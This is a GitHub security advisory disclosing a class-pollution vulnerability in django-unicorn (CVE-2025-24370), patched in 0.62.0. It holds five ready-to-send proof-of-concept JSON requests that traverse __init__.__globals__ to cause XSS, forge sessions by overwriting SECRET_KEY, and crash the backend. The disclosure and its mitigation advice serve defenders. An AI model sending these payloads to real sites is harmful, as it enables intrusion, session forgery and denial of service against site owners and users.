Skip to content

Django-Unicorn Class Pollution Vulnerability, Leading to XSS, DoS and Authentication Bypass

Critical severity GitHub Reviewed Published Feb 3, 2025 in adamghill/django-unicorn • Updated Feb 3, 2025

Package

pip django-unicorn (pip)

Affected versions

< 0.62.0

Patched versions

0.62.0

Description

Summary

Django-Unicorn is vulnerable to python class pollution vulnerability, a new type of vulnerability categorized under CWE-915. The vulnerability arises from the core functionality set_property_value, which can be remotely triggered by users by crafting appropriate component requests and feeding in values of second and third parameter to the vulnerable function, leading to arbitrary changes to the python runtime status.

With this finding, so far we've found at least five ways of vulnerability exploitation, stably resulting in Cross-Site Scripting (XSS), Denial of Service (DoS), and Authentication Bypass attacks in almost every Django-Unicorn-based application.

Analysis of Vulnerable Function

By taking a look at the vulnerable function set_property_value located at: django_unicorn/views/action_parsers/utils.py. You can observe the functionality is responsible for modifying a property value of an object.

The property is specified by a dotted form of path at the second parameter property_name, where nested reference to object is supported, and base object and the assigned value is given by the first parameter component and third parameter property_value.

# https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django_unicorn/views/action_parsers/utils.py#L10
def set_property_value(
    component,
    property_name,
    property_value
) -> None:
    ...
    property_name_parts = property_name.split(".")
    component_or_field = component
    ...
    for idx, property_name_part in enumerate(property_name_parts):
        if hasattr(component_or_field, property_name_part):
            if idx == len(property_name_parts) - 1:
                ...
                setattr(component_or_field, property_name_part, property_value)
                ...
            else:
                component_or_field = getattr(component_or_field, property_name_part)
                ...
        elif isinstance(component_or_field, dict):
            if idx == len(property_name_parts) - 1:
                component_or_field[property_name_part] = property_value
				...
            else:
                component_or_field = component_or_field[property_name_part]
				...
        elif isinstance(component_or_field, (QuerySet, list)):
            property_name_part_int = int(property_name_part)

            if idx == len(property_name_parts) - 1:
                component_or_field[property_name_part_int] = property_value  # type: ignore[index]
                ...
            else:
                component_or_field = component_or_field[property_name_part_int]  # type: ignore[index]
                ...
        else:
            break

Meanwhile, this functionality can be directly triggered by a component request, one of the core functionalities of the project, by specifying the request type as syncInput and payload object would be fed in the dotted-path (2nd) parameter and assigned value (3rd) parameter of the vulnerable function.

POST /unicorn/message/COMPONENT_NAME

{
    "id": 123,
    "actionQueue":[
        {
          "type": "syncInput",
          "payload": {
          "name": "DOTTED_PATH",
          "value":"ASSIGNED_VALUE"
          }
    		}
    ],
    "data": {XXX},
    "epoch": "123",
    "checksum": "XXXX"
}

You are now aware of that users from the remote can fully control the property_name and property_value of the vulnerable function. By default the preperty value overwrite can only be performed on the component object, which is always the first parameter of the function.

However, the functionality failed to count in the situation where bad actors can modify the normal path to traverse to other objects in the python runtime, by leveraging the magic attributes. For example, if the property_name was set to __init__.__globals__, the component context would change to global context of the component module, which means we can modify any attributes of the objects that are located in the global scope of the component module. These objects also include other modules that have been imported in the component module, which comprises of a pollutable dependency chain.

With all these techniques introduced, we can now change any global objects including, global variables/instances/classes/functions of any module that is in a chain of dependency from the component module.

The next section, introduces the five exploitation gadgets found so far, leading to reflected XSS, stored XSS, authentication bypass and DOS attack. It uses a locally deployed django-unicorn.com as demo website to showcase its large-scale impact.

Here, gadgets refer to the dependency code snippets by default introduced by django-unicorn and changing its status can result in an attack sequence, such as XSS.

Proof of Concept

#1 Reflected Cross-Site Scripting by Overwriting bs4 HTML sanitizer

Django-Unicorn implants the EntitySubstitution rule from beautifulsoup4 library into its HTML formatter, formatting all the template response messages.

image-20250121163510422

While this rule is specified in a global dictionary, we can exploit the class pollution vulnerability to overwrite it.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.bs4.dammit.EntitySubstitution.CHARACTER_TO_XML_ENTITY.<",
        "value": "<img/src=1 onerror=alert('bs4_html_entity_bypass')>"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

In this demonstration, we replaced the sanitizer's < item value with the XSS payload. whenever a template reponse renders a "<" in cleartext, it will be converted to the payload, leading to XSS attack.

bs4-xss

#2 Stored Cross-Site Scripting by Overwriting Unicorn Setting and Django Json Script Sanitizer

There is a script tag in the webpage. Among it, a NAME value is dynamically extracted both from the MORPHER_NAMES and DEFAULT_MORPHER_NAME variable in the setting module.

image-20250121165007647

However, simply polluting these values can not lead to a stored XSS attack. Django by default escape some of the special characters into unicode sequences.

image-20250121164947336

Going through the source code of django, we found out the actual sanitizer located at _json_script_escapes variable at django/utils/html.py.

image-20250121165247245

By polluting this variable to clear it out, we finally achieve a stored XSS attack.

image-20250121165839892

PoC:

POST /unicorn/message/todo HTTP/1.1

{
  "id": "3gpDSUcxzs1",
  "data": {
    "task": "",
    "tasks": []
  },
  "checksum": "XXX",
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django_unicorn.settings.MORPHER_NAMES",
        "value": [
          "</script><script>alert('django json unicode escape bypass + configuration overwrite')</script>"
        ]
      }
    },
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django_unicorn.settings.DEFAULT_MORPHER_NAME",
        "value": "</script><script>alert('django json unicode escape bypass + configuration overwrite')</script>"
      }
    },
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.utils.html._json_script_escapes",
        "value": {}
      }
    }
  ],
  "epoch": 1737318956605,
  "hash": "jWGuTFzy"
}

json_unicode_xss

#3 Stored Cross-Site Scripting by Overwriting Django Error Page Source Code

Django by default stores its error page source code in a global variable named ERROR_PAGE_TEMPLATE at django/views/defaults.py.

image-20250121170357900

By polluting this variable to XSS payload. whenever a user triggers an error in the application, such as access an unexisting resource, the attack payload fires out.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.views.defaults.ERROR_PAGE_TEMPLATE",
        "value": "<html><script>alert('error page pollution')</script></html>"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

django-404-xss

#4 Authentication Bypass by Overwriting Django Secret Key

Django secret key is typically used to sign and verify session cookies and other security related mechanism. By polluting its runtime value to attacker intended, attacker can forge session cookies to login in to the system as any user.

Even though, django-unicorn.com doesn't have an authentication layer, you can still observe a successful secret key pollution by inspecting the changed checksum in the HTTP response, since the checksum is generated by encrypting the data field in the request body with the secret key.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.template.backends.django.settings.SECRET_KEY",
        "value": "test"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

authentication_bypass

#5 Denial of Service by Overwriting timed Decorator Method

The timed decorator is used to modify many important functions in the django-unicorn, such as _call_method_name.

image-20250121171823756

By polluting the core decorator method timed to a string, we make a function call always call a uncallable string, leading to the backend crashed, thus denial of service attack.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.timed",
        "value": "X"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

dos_attack

Mitigation

The patch could be:

  • Blocking paths that start with __, which represent double under (dunder) or magic variables/methods
  • Set a blacklist for the path, such as RESTRICTED_KEYS = ("__globals__", "__builtins__") adopted by pydash.

Related Materials

For more information about class pollution please refer to:

[1] CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

[2] Report: Class Pollution leading to RCE in pydash

[3] Blog: Prototype Pollution in Python

[4] Blog: Class Pollution Gadgets in Jinja Leading to RCE

References

@adamghill adamghill published to adamghill/django-unicorn Feb 3, 2025
Published to the GitHub Advisory Database Feb 3, 2025
Reviewed Feb 3, 2025
Last updated Feb 3, 2025

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

EPSS score

Weaknesses

CVE ID

CVE-2025-24370

GHSA ID

GHSA-g9wf-5777-gq43

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.